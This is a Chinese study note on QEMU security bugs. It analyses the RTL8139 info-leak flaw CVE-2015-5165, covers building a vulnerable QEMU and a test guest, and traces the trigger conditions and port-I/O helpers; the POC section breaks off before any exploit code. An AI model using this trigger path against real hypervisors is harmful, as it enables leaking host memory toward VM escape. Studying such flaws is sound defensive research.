Qemu笔记

计划

CVE-2015-5165+CVE-2015-7504

CVE-2019-6778+CVE-2019-14378

Qemu相关

简介

QEMU是一种通用的开源计算机仿真器和虚拟器。

当用作机器仿真器(machine emulator,)时,QEMU可以在另一台机器(例如您自己的PC)上运行为一台机器(例如ARM板)制作的OS和程序。通过使用动态翻译,它可以获得非常好的性能。

当用作虚拟器(virtualizer)时,QEMU通过直接在主机CPU上执行来宾代码来达到近乎本机的性能。在Xen虚拟机管理程序下执行或在Linux中使用KVM内核模块时,QEMU支持虚拟化。使用KVM时,QEMU可以虚拟化x86,服务器和嵌入式PowerPC,64位POWER,S390、32位和64位ARM以及MIPS guest虚拟机。

关于emulator和virtualizer的区别可以看这篇博客,简单来说emulator是使用软件仿真完整的硬件,可以模拟各种CPU架构或者多个系统,而virtualizer一般不模拟硬件,而是将模拟计算机的部分经过虚拟化,大多数程序依然直接运行在硬件上。(关于虚拟化最典型的例子比如页表?)

可在此处下载QEMU=>www.qemu.org/download/

CVE-2015-5165

Cve-2015-5165是一个信息泄露漏洞,能够让攻击者获取到qemu程序的基地址以及qemu为虚拟机分配的内存地址。

漏洞问题是出在Qemu模拟的 RTL8139 网卡(qemu/hw/net/rtl8139.c),漏洞原因是在C+模式下对数据包解析的时候没有对数据包长度进行检测,导致了溢出。

环境搭建

在qemu的git平台找到CVE-2015-5165漏洞修复的commit

屏幕快照2021-03-25上午11.09.02

安装一些依赖

1
2
sudo apt -f install
sudo apt install libglib2.0-dev libpixman-1-dev libsdl2-dev libsdl1.2-dev

编译qemu,记得加参数–enable-debug,可以gdb源码调试。

1
2
3
4
5
git clone git://git.qemu-project.org/qemu.git && cd qemu
git checkout bd80b5963f58c601f31d3186b89887bf8e182fb5
mkdir -p bin/debug/naive && cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make

编译好的程序在**/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64**,检查一下qemu版本。

1
2
3
$ ./qemu-system-x86_64 --version
(process:71137): GLib-WARNING **: 20:08:54.081: ../../../../glib/gmem.c:489: custom memory allocation vtable not supported
QEMU emulator version 2.3.93, Copyright (c) 2003-2008 Fabrice Bellard

编译出*/usr/bin/ld: qga/commands-posix.o: in function `dev_major_minor’:*问题

只需要在commands-posix.c文件中加上头文件<sys/sysmacros.h>重新编译即可

gdb基础操作命令

通过gdb对qemu进行源代码调试

完整名称 短称 功能介绍 使用示例
continue c 继续执行 c
list l 查看 c 源码 l vga_mem_write
help h 帮助说明 h list
break b 下断点 b vga.c:45
next n 步过 n5
step s 步入 s
print p 输出 print /x var
x x 输出 x/2wx pmem
backtrace bt 堆栈回溯 bt
finish fin 执行到函数返回 finish

制作系统镜像

制作一个镜像

1
qemu-img create -f qcow2 ubuntu.img 20G

将ubuntu镜像拷贝到空镜像中,如果运行qemu提示通过vnc连接,应该是系统缺少SDL库(configure时显示SDL support no),装一个就行了,否则可以装一个Remmina在本地进行VNC连接。之后只需要一步步执行安装过程即可。 或者可以直接去镜像网站下载一个qcow2(账号和密码都是root)的镜像(但不推荐这个镜像,内核版本太老有很多问题,但我也没有找到更好的)。

1
./x86_64-softmmu/qemu-system-x86_64 -m 1G -hda ubuntu.img -cdrom ../../../ubuntu-14.04.6-desktop-i386.iso -enable-kvm

IPKxhj

61unN2

或者自己做一个rootfs.img的镜像

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/sh
sudo apt-get install debootstrap
mkdir rootfs

sudo debootstrap --include=openssh-server,curl,tar,gcc,\
libc6-dev,time,strace,sudo,less,psmisc,\
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \
stretch rootfs

set -eux

# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' rootfs/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a rootfs/etc/inittab
#printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
printf '\nallow-hotplug enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a rootfs/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a rootfs/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a rootfs/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a rootfs/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee rootfs/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a rootfs/etc/resolve.conf
echo "ubuntu" | sudo tee rootfs/etc/hostname
sudo mkdir -p rootfs/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee rootfs/root/.ssh/authorized_keys

# Build a disk image
dd if=/dev/zero of=rootfs.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F rootfs.img
sudo mkdir -p /mnt/rootfs
sudo mount -o loop rootfs.img /mnt/rootfs
sudo cp -a rootfs/. /mnt/rootfs/.
sudo umount /mnt/rootfs

编译内核

1
2
3
4
5
6
7
sudo apt install libelf-dev
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.2.11.tar.xz -O linux-5.2.11.tar.xz
tar -xvf linux-5.2.11.tar.xz && cd linux-5.2.11/
make defconfig
make kvmconfig
#编辑 .config 文件, 将 CONFIG_8139CP=y 和 CONFIG_PCNET32=y 打开
make -j4

使用launch.sh脚本起启动,ssh只需要连接10021端口

1
2
3
4
5
6
7
8
9
10
11
12
$ cat launch.sh
#!/bin/sh
./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \
#/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 \
-kernel ./linux-5.2.11/arch/x86/boot/bzImage \
-append "console=ttyS0 root=/dev/sda rw" \
-hda ./rootfs.img \
-enable-kvm -m 2G -nographic \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
-net user,hostfwd=tcp::10021-:22 -net nic

make defconfig时候出现/bin/sh: 1: flex: not found相关问题只需要安装一下flex(一个快速的词法分析生成器)

运行系统

使用下面的命令来运行系统

1
2
qemu-system-x86_64 -hda ubuntu.img -nographic
或者qemu-system-x86_64 -hda debian_squeeze_i386_standard.qcow2 -nographic -netdev user,id=t0 -device rtl8139,netdev=t0,id=nic0

漏洞在RTL18139网卡上,所以启动时候把网卡也启动一下。

1
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -net user,hostfwd=tcp::22222-:22 -net nic

虚拟机内部换一下源,方便安装一些工具。

1
2
3
4
5
6
7
8
deb http://mirrors.aliyun.com/debian/ buster main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ buster main non-free contrib
deb http://mirrors.aliyun.com/debian-security buster/updates main
deb-src http://mirrors.aliyun.com/debian-security buster/updates main
deb http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
deb http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib

问题解决:

  • failed to load ldlinux.c32 : 换个版本,一开始我用ubuntu16.04总是有这个问题。

rtl8139网卡

本次漏洞的成因位于rtl8139的虚拟化实现(准确的来说是**RTL-8139/8139C/8139C+*),实现文件在/hw/net/rtl8139.c*中。RTL8139State结构体内部大多为RTL8139的寄存器实现,可以参考官网的REALTEK文档.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
typedef struct RTL8139State {
/*< private >*/
PCIDevice parent_obj;
/*< public >*/

uint8_t phys[8]; /* mac address */
uint8_t mult[8]; /* multicast mask array */

uint32_t TxStatus[4]; /* TxStatus0 in C mode*/ /* also DTCCR[0] and DTCCR[1] in C+ mode */
uint32_t TxAddr[4]; /* TxAddr0 */
uint32_t RxBuf; /* Receive buffer */
uint32_t RxBufferSize;/* internal variable, receive ring buffer size in C mode */
uint32_t RxBufPtr;
uint32_t RxBufAddr;

uint16_t IntrStatus;
uint16_t IntrMask;

uint32_t TxConfig;
uint32_t RxConfig;
uint32_t RxMissed;

uint16_t CSCR;

uint8_t Cfg9346;
uint8_t Config0;
uint8_t Config1;
uint8_t Config3;
uint8_t Config4;
uint8_t Config5;

uint8_t clock_enabled;
uint8_t bChipCmdState;

uint16_t MultiIntr;

uint16_t BasicModeCtrl;
uint16_t BasicModeStatus;
uint16_t NWayAdvert;
uint16_t NWayLPAR;
uint16_t NWayExpansion;

uint16_t CpCmd;
uint8_t TxThresh;

NICState *nic;
NICConf conf;

/* C ring mode */
uint32_t currTxDesc;

/* C+ mode */
uint32_t cplus_enabled;

uint32_t currCPlusRxDesc;
uint32_t currCPlusTxDesc;

uint32_t RxRingAddrLO;
uint32_t RxRingAddrHI;

EEprom9346 eeprom;

uint32_t TCTR;
uint32_t TimerInt;
int64_t TCTR_base;

/* Tally counters */
RTL8139TallyCounters tally_counters;

/* Non-persistent data */
uint8_t *cplus_txbuffer;
int cplus_txbuffer_len;
int cplus_txbuffer_offset;

/* PCI interrupt timer */
QEMUTimer *timer;

MemoryRegion bar_io;
MemoryRegion bar_mem;

/* Support migration to/from old versions */
int rtl8139_mmio_io_addr_dummy;
} RTL8139State;

关于C+ Mode:

支持两种缓冲管理模式。第一种是C模式,是RTL8139系列产品默认使用的缓冲区管理算法。第二种是C +模式(仅通过软件设置为相对的C +模式寄存器和描述符),这是基于描述符(Tx desciptor)的增强设计,特别适用于服务器应用程序。 可以通过软件进行配置,以应用新的缓冲区管理算法,即基于描述符的增强型缓冲区管理体系结构,这是现代网络服务器卡的基本设计。

RTL8139 网卡在 C+ 模式下的寄存器结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
        +---------------------------+----------------------------+
0x00 | MAC0 | MAR0 |
+---------------------------+----------------------------+
0x10 | TxStatus0 |
+--------------------------------------------------------+
0x20 | TxAddr0 |
+-------------------+-------+----------------------------+
0x30 | RxBuf |ChipCmd| |
+-------------+------+------+----------------------------+
0x40 | TxConfig | RxConfig | ... |
+-------------+-------------+----------------------------+
| |
| skipping irrelevant registers |
| |
+---------------------------+--+------+------------------+
0xd0 | ... | |TxPoll| ... |
+-------+------+------------+--+------+--+---------------+
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
+-------+------+------------+------------+---------------+

各个部分对应功能和实现:

  • MAC0 :存储mac地址 uint8_t phys[8]; (uint8_t aka. char)
  • MAR0 : 组播掩码数组 uint8_t mult[8];
  • TxStatus0 : 在C模式下是TxStatus0,在C+模式下为DTCCR[0] and DTCCR[1]
  • TxAddr0Tx descriptiors table 相关的物理内存地址 uint32_t TxAddr[4];
    • 0x20 ~ 0x27:Transmit Normal Priority Descriptors Start Address
    • 0x28 ~ 0x2F:Transmit High Priority Descriptors Start Address
  • RxBuf :接收数据的缓冲区 uint32_t RxBuf;
  • TxConfig :发送数据相关的配置参数 uint32_t TxConfig
  • RxConfig :接收数据相关的配置参数 uint32_t RxConfig
  • RxRingAddrLO :Rx descriptors table 物理内存地址低 32 位
  • RxRingAddrHI :Rx descriptors table 物理内存地址高 32 位
  • TxPoll :让网卡检查 Tx descriptors

Tx desciptor的结构和实现如下

00DIB8

​ 取自REALTEK文档.9.2.1 Transmit

1
2
3
4
5
6
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

我们关注一下16~31bit的标志位实现,网卡中的路径走向是由desciptor结构中的标志位确定的,这部分在后面理解漏洞部分的触发有一些帮助。具体作用还是参考REALTEK文档,具体我注释在代码中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*26~31bit位实现了desciptor的*/
/* w0 ownership flag */
#define CP_TX_OWN (1<<31) //标志为1时,desciptor由NIC(网络接口控制器)拥有。标志为0时,desciptor由主机拥有
/* w0 end of ring flag */
#define CP_TX_EOR (1<<30) //标志为1时,说明这是desciptor环的最后一个
/* first segment of received packet flag */
#define CP_TX_FS (1<<29) //标志为1时,这是Tx数据包的第一个descriptor
/* last segment of received packet flag */
#define CP_TX_LS (1<<28) //标志为1时,这是Tx数据包的最后一个descriptor
/* large send packet flag */
#define CP_TX_LGSEN (1<<27) //命令位,驱动程序将该位置1,以请求NIC卸载 Large send请求。
/* large send MSS mask, bits 16...25 */
#define CP_TC_LGSEN_MSS_MASK ((1 << 12) - 1)


/* IP checksum offload flag */
#define CP_TX_IPCS (1<<18) //命令位。驱动程序将该位置1,以请求NIC卸载IP校验和。
/* UDP checksum offload flag */
#define CP_TX_UDPCS (1<<17) //命令位。驱动程序将该位置1,以请求NIC卸载UDP校验和。
/* TCP checksum offload flag */
#define CP_TX_TCPCS (1<<16 //命令位。驱动程序将该位置1,以请求NIC卸载TCP校验和。

漏洞分析

根据修复漏洞时的**diff文件,我们可以找到漏洞产生的函数rtl8139_cplus_transmit_one**

pF7WeJ

漏洞出现在rtl8139_cplus_transmit_one函数处对IP包头部和IP总长度计算时产生的溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
static int rtl8139_cplus_transmit_one(RTL8139State *s)
{

[...]
//txdw0 存储 Tx desciptor 0~31bit信息
//如果IP/UDP/TCP标志开启,或者big packet标志开启,则进入流程
if (txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
{
DPRINTF("+++ C+ mode offloaded task checksum\n");

/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0; // aka. unsigned short int 无符号short类型

uint8_t *eth_payload_data = NULL;
size_t eth_payload_len = 0;

//saved_buffer指向以太网帧,偏移为12的地方就是Length / Type
int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP)
{
DPRINTF("+++ C+ mode has IP packet\n");

/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN;
eth_payload_len = saved_size - ETH_HLEN;

ip = (ip_header*)eth_payload_data;

if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %d\n", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip); // 获取header的长度
ip_protocol = ip->ip_p;
/*溢出:ip->ip_len - hlen*/
ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
}
}

[...]

}

漏洞成因:当ip_len(ip总长度)小于hlen(ip头长度,一般等于20),调用 be16_to_cpu(ip->ip_len) - hlen 会返回一个小于0的数据,ip_data_len是无符号整型,所以会导致ip_data_len变成一个很大的数。

注:be16_to_cpu:将网络字节序转化为无符号短整形,与htons函数功能正好相反。

接下来继续追踪ip_data_len。接下来是要发送网络帧的代码,ip_data_len赋值给了tcp_data_len,如果tcp_data_len过长(大于 1500-ip头-tcp头),对tcp_data_len进行切片并且调用rtl8139_transfer_frame进行发送。这样的结果就是会读取超长的一段数据发送出去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
if (ip)
{
if (txdw0 & CP_TX_IPCS)
{
DPRINTF("+++ C+ mode need IP checksum\n");

if (hlen<sizeof(ip_header) || hlen>eth_payload_len) {/* min header length */
/* bad packet header len */
/* or packet too short */
}
else
{
ip->ip_sum = 0;
ip->ip_sum = ip_checksum(ip, hlen);
DPRINTF("+++ C+ mode IP header len=%d checksum=%04x\n",
hlen, ip->ip_sum);
}
}
if ((txdw0 & CP_TX_LGSEN) && ip_protocol == IP_PROTO_TCP)
{
int large_send_mss = (txdw0 >> 16) & CP_TC_LGSEN_MSS_MASK;

DPRINTF("+++ C+ mode offloaded task TSO MTU=%d IP data %d "
"frame data %d specified MSS=%d\n", ETH_MTU,
ip_data_len, saved_size - ETH_HLEN, large_send_mss);

int tcp_send_offset = 0;
int send_count = 0;

/* maximum IP header length is 60 bytes */
uint8_t saved_ip_header[60];

/* save IP header template; data area is used in tcp checksum calculation */
memcpy(saved_ip_header, eth_payload_data, hlen);

/* a placeholder for checksum calculation routine in tcp case */
uint8_t *data_to_checksum = eth_payload_data + hlen - 12;
// size_t data_to_checksum_len = eth_payload_len - hlen + 12;

/* pointer to TCP header */
tcp_header *p_tcp_hdr = (tcp_header*)(eth_payload_data + hlen);

int tcp_hlen = TCP_HEADER_DATA_OFFSET(p_tcp_hdr);


/*ip_data_len赋值给了tcp_data_len*/
/* ETH_MTU = ip header len + tcp header len + payload */
int tcp_data_len = ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

DPRINTF("+++ C+ mode TSO IP data len %d TCP hlen %d TCP "
"data len %d TCP chunk size %d\n", ip_data_len,
tcp_hlen, tcp_data_len, tcp_chunk_size);

/* note the cycle below overwrites IP header data,
but restores it from saved_ip_header before sending packet */

int is_last_frame = 0;
/*如果tcp_data_len过长,对tcp_data_len进行切片*/
for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size)
{
uint16_t chunk_size = tcp_chunk_size;

/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)
{
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}

DPRINTF("+++ C+ mode TSO TCP seqno %08x\n",
be32_to_cpu(p_tcp_hdr->th_seq));

/* add 4 TCP pseudoheader fields */
/* copy IP source and destination fields */
memcpy(data_to_checksum, saved_ip_header + 12, 8);

DPRINTF("+++ C+ mode TSO calculating TCP checksum for "
"packet with %d bytes data\n", tcp_hlen +
chunk_size);

if (tcp_send_offset)
{
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
}

/* keep PUSH and FIN flags only for the last frame */
if (!is_last_frame)
{
TCP_HEADER_CLEAR_FLAGS(p_tcp_hdr, TCP_FLAG_PUSH|TCP_FLAG_FIN);
}

/* recalculate TCP checksum */
ip_pseudo_header *p_tcpip_hdr = (ip_pseudo_header *)data_to_checksum;
p_tcpip_hdr->zeros = 0;
p_tcpip_hdr->ip_proto = IP_PROTO_TCP;
p_tcpip_hdr->ip_payload = cpu_to_be16(tcp_hlen + chunk_size);

p_tcp_hdr->th_sum = 0;

int tcp_checksum = ip_checksum(data_to_checksum, tcp_hlen + chunk_size + 12);
DPRINTF("+++ C+ mode TSO TCP checksum %04x\n",
tcp_checksum);

p_tcp_hdr->th_sum = tcp_checksum;

/* restore IP header */
memcpy(eth_payload_data, saved_ip_header, hlen);

/* set IP data length and recalculate IP checksum */
ip->ip_len = cpu_to_be16(hlen + tcp_hlen + chunk_size);

/* increment IP id for subsequent frames */
ip->ip_id = cpu_to_be16(tcp_send_offset/tcp_chunk_size + be16_to_cpu(ip->ip_id));

ip->ip_sum = 0;
ip->ip_sum = ip_checksum(eth_payload_data, hlen);
DPRINTF("+++ C+ mode TSO IP header len=%d "
"checksum=%04x\n", hlen, ip->ip_sum);

int tso_send_size = ETH_HLEN + hlen + tcp_hlen + chunk_size;
DPRINTF("+++ C+ mode TSO transferring packet size "
"%d\n", tso_send_size);
rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
0, (uint8_t *) dot1q_buffer);

/* add transferred count to TCP sequence number */
p_tcp_hdr->th_seq = cpu_to_be32(chunk_size + be32_to_cpu(p_tcp_hdr->th_seq));
++send_count;
}

/* Stop sending this frame */
saved_size = 0;
}

设置回环网卡(TxLoopBack),这样网卡会接收自己发送的数据,就能够实现泄露信息读取。

具体实现让我们继续看rtl8139_transfer_frame,当TxConfig标志位被设置为TxLoopBack,会调用rtl8139_do_receive将刚才网卡发送的数据接收回来,保存在缓冲区中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
int do_interrupt, const uint8_t *dot1q_buf)
{
[...]

if (TxLoopBack == (s->TxConfig & TxLoopBack))
{
size_t buf2_size;
uint8_t *buf2;

if (iov) {
buf2_size = iov_size(iov, 3);
buf2 = g_malloc(buf2_size);
iov_to_buf(iov, 3, 0, buf2, buf2_size);
buf = buf2;
}

DPRINTF("+++ transmit loopback mode\n");
/*将刚才网卡发送的数据接收回来,保存在buf中*/
rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);

if (iov) {
g_free(buf2);
}
}
else
{
if (iov) {
qemu_sendv_packet(qemu_get_queue(s->nic), iov, 3);
} else {
qemu_send_packet(qemu_get_queue(s->nic), buf, size);
}
}
}

漏洞触发

我们需要找到如何触发函数rtl8139_cplus_transmit_one调用。

首先看一下rtl8139的realize(实现)函数,使用MemoryRegion初始化了PMIO和MMIO。(memory_region_init_io函数具体相关可以去看qemu内存模型相关博客

在计算机中,内存映射I/O(MMIO)和端口映射I/O(PMIO)是两种互为补充的I/O方法,在CPU和外部设备之间。另一种方法是使用专用的I/O处理器,通常为大型机上的通道,它们执行自己特有的指令。

  • 在MMIO中,IO设备和内存共享同一个地址总线,因此它们的地址空间是相同的; 而在PMIO中,IO设备和内存的地址空间是隔离的。
  • 在MMIO中,无论是访问内存还是访问IO设备,都使用相同的指令; 而在PMIO中,CPU使用特殊的指令访问IO设备,在Intel微处理器中,使用的指令是IN和OUT。
1
2
3
4
5
6
7
8
9
static void pci_rtl8139_realize(PCIDevice *dev, Error **errp)
{
[...]
memory_region_init_io(&s->bar_io, OBJECT(s), &rtl8139_io_ops, s,
"rtl8139", 0x100); //初始化PMIO
memory_region_init_io(&s->bar_mem, OBJECT(s), &rtl8139_mmio_ops, s,
"rtl8139", 0x100); //初始化MMIO
[...]
}

分析一下PMIO部分(MMIO基本类似,不需要重复分析),MMIO和PMIO的写操作都会调用rtl8139_io_writeb这个函数,这个函数当val 包含 (1 << 6)时就会进入分支,调用包含漏洞的函数rtl8139_cplus_transmit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// 初始化结构体
static const MemoryRegionOps rtl8139_io_ops = {
.read = rtl8139_ioport_read,
.write = rtl8139_ioport_write,
.impl = {
.min_access_size = 1,
.max_access_size = 4,
},
.endianness = DEVICE_LITTLE_ENDIAN,
};
=======================================================
static void rtl8139_ioport_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
switch (size) {
case 1:
rtl8139_io_writeb(opaque, addr, val); //分支1
break;
case 2:
rtl8139_io_writew(opaque, addr, val);
break;
case 4:
rtl8139_io_writel(opaque, addr, val);
break;
}
}
========================================================
static void rtl8139_io_writeb(void *opaque, uint8_t addr, uint32_t val)
{
RTL8139State *s = opaque;

switch (addr)
{
[...]
case TxThresh:
DPRINTF("C+ TxThresh write(b) val=0x%02x\n", val);
s->TxThresh = val;
break;

case TxPoll:
DPRINTF("C+ TxPoll write(b) val=0x%02x\n", val);
if (val & (1 << 7))
{
DPRINTF("C+ TxPoll high priority transmission (not "
"implemented)\n");
//rtl8139_cplus_transmit(s);
}
if (val & (1 << 6)) //触发函数
{
DPRINTF("C+ TxPoll normal priority transmission\n");
rtl8139_cplus_transmit(s);
}

break;
[...]
}
}

再深挖一下PMIO是如何初始化和被触发的,看memory.c中初始化函数memory_region_init_io是如何实现的。可以参考这篇博客在qemu中增加pci设备并用linux驱动验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void memory_region_init_io(MemoryRegion *mr,
Object *owner,
const MemoryRegionOps *ops,
void *opaque,
const char *name,
uint64_t size)
{
memory_region_init(mr, owner, name, size);
mr->ops = ops;
mr->opaque = opaque;
mr->terminates = true;
}
======================================================
void memory_region_init(MemoryRegion *mr,
Object *owner,
const char *name,
uint64_t size)
{
if (!owner) {
owner = container_get(qdev_get_machine(), "/unattached");
}

object_initialize(mr, sizeof(*mr), TYPE_MEMORY_REGION);
mr->size = int128_make64(size);
if (size == UINT64_MAX) {
mr->size = int128_2_64();
}
mr->name = g_strdup(name);

if (name) {
char *escaped_name = memory_region_escape_name(name);
char *name_array = g_strdup_printf("%s[*]", escaped_name);
object_property_add_child(owner, name_array, OBJECT(mr), &error_abort);
object_unref(OBJECT(mr));
g_free(name_array);
g_free(escaped_name);
}
}
=========================================================
void object_initialize(void *data, size_t size, const char *typename)
{
TypeImpl *type = type_get_by_name(typename);

object_initialize_with_type(data, size, type);
}

小结

函数调用栈以及进入分支的条件

1
2
3
4
5
6
rtl8139_ioport_write
--> rtl8139_io_writeb ()
--> rtl8139_cplus_transmit (需要设置TxPoll寄存器中包含值 1 << 6)
--> rtl8139_cplus_transmit_one (满足txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
--> 发生溢出并且发送网络帧 (满足ip->ip_len < 20)以及(满足(txdw0 & CP_TX_LGSEN) && ip_protocol == IP_PROTO_TCP)
-->读取信息泄露 (TxConfig标志位被设置为TxLoopBack)

漏洞分析完毕,然后就可以开始写poc了,不过在写之前,先了解一些网卡相关的开发基础。


一些相关的开发基础

操作网卡相关:

  • cat /proc/ioports 查看端口

  • lshw -short 查看设备信息

1
2
3
4
5
6
root@debian-i386:~# lshw  -short
H/W path Device Class Description
====================================================
/0/0 processor QEMU Virtual CPU version 2.3.93
[...]
/0/100/3 eth0 network RTL-8139/8139C/8139C+
  • Lshw -C network 查看网卡信息,网卡版本为RTL-8139/8139C/8139C+,IO端口地址0xc000~0xc0ff.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@debian-i386:~# lshw  -C network
*-network
description: Ethernet interface
product: RTL-8139/8139C/8139C+
vendor: Realtek Semiconductor Co., Ltd.
physical id: 3
bus info: pci@0000:00:03.0
logical name: eth0
version: 20
serial: 52:54:00:12:34:56
size: 100Mbit/s
capacity: 100Mbit/s
width: 32 bits
clock: 33MHz
capabilities: bus_master rom ethernet physical tp mii 10bt 10bt-fd 100bt 100bt-fd autonegotiation
configuration: autonegotiation=on broadcast=yes driver=8139cp driverversion=1.3 duplex=full ip=10.0.2.15 latency=0 link=yes multicast=yes port=MII speed=100Mbit/s
resources: irq:11 ioport:c000(size=256) memory:febd1000-febd10ff memory:feb80000-febbffff(prefetchable)
  • lspci -v 同样可以查看IO地址,可以看到PMIO的端口在0xc000
1
2
3
4
5
6
7
8
# lspci -v
00:03.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ (rev 20)
Subsystem: Red Hat, Inc Device 1100
Flags: bus master, fast devsel, latency 0, IRQ 11
I/O ports at c000 [size=256]
Memory at febd1000 (32-bit, non-prefetchable) [size=256]
Expansion ROM at feb80000 [disabled] [size=256K]
Kernel driver in use: 8139cp
  • io写端口操作函数

    • outb() I/O 上写入 8 位数据 ( 1 字节 )

    • outw() I/O 上写入 16 位数据 ( 2 字节 )

    • outl () I/O 上写入 32 位数据 ( 4 字节)

    1
    2
    3
    4
    #include <asm/io.h>
    void outb ( unsigned char data , unsigned short port);
    void outw ( unsigned short data , unsigned short port);
    void outl ( unsigned long data , unsigned short port);

一般使用out*函数向端口写数据,一般格式是 data和port+偏移值。于是,通过PMIO端口向网卡写数据可以通过下面三个函数实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/*通过lspci -v 获取IO端口*/
uint32_t pmio_port = 0xc000;


void pmio_writeb(uint32_t data,uint32_t addr){
outb(data,pmio_port+addr);
}

void pmio_writew(uint32_t data,uint32_t addr){
outw(data,pmio_port+addr);
}

void pmio_writel(uint32_t data,uint32_t addr){
outl(data,pmio_port+addr);
}
  • io读端口操作函数

    • inb() I/O上读取8位数据

    • inw() I/O上读取16位数据

    • inl() I/O上读取32位数据

    1
    2
    3
    byte inb(word port); 
    word inw(word port);
    longword inw(word port);

读函数的实现

1
2
3
4
5
6
7
8
9
10
11
uint32_t pmio_readb(uint32_t addr){
return (uint32_t)inb(addr);
}

uint32_t pmio_readw(uint32_t addr){
return (uint32_t)inw(addr);
}

uint32_t pmio_readl(uint32_t addr){
return (uint32_t)inl(addr);
}

POC

静态编译为32位的程序(gcc -m32 -static poc.c -o poc -std=c99),然后通过scp拷贝到虚拟机中。

1
